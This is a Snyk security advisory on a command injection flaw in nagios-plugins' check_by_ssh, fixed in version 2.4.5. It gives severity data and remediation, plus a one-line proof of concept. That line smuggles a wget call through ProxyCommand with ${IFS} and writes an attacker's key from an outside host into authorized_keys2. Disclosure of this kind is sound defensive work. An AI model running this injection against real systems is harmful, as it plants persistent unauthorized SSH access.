Command Injection Affecting nagios-plugins/nagios-plugins package, versions [1.0.0,2.4.5)


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.05% (18th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Command Injection vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-UNMANAGED-NAGIOSPLUGINSNAGIOSPLUGINS-8179648
  • published10 Oct 2024
  • disclosed9 Oct 2024
  • creditJoshua Rogers

Introduced: 9 Oct 2024

CVE-2023-37154  (opens in a new tab)
CWE-78  (opens in a new tab)

How to fix?

Upgrade nagios-plugins/nagios-plugins to version 2.4.5 or higher.

Overview

Affected versions of this package are vulnerable to Command Injection through the check_by_ssh process. An attacker can execute arbitrary commands by exploiting the ProxyCommand, LocalCommand, and PermitLocalCommand options with special characters such as ${IFS}.

PoC

check_by_ssh --command=ls -s 1 -H my-server.net -l someuser -v -o PermitLocalCommand=yes -o StrictHostKeyChecking=no -o ProxyCommand=wget\${IFS}-O\${IFS}.ssh/authorized_keys2\${IFS}http://my-website.com/pubkey.txt"

CVSS Scores

version 4.0
version 3.1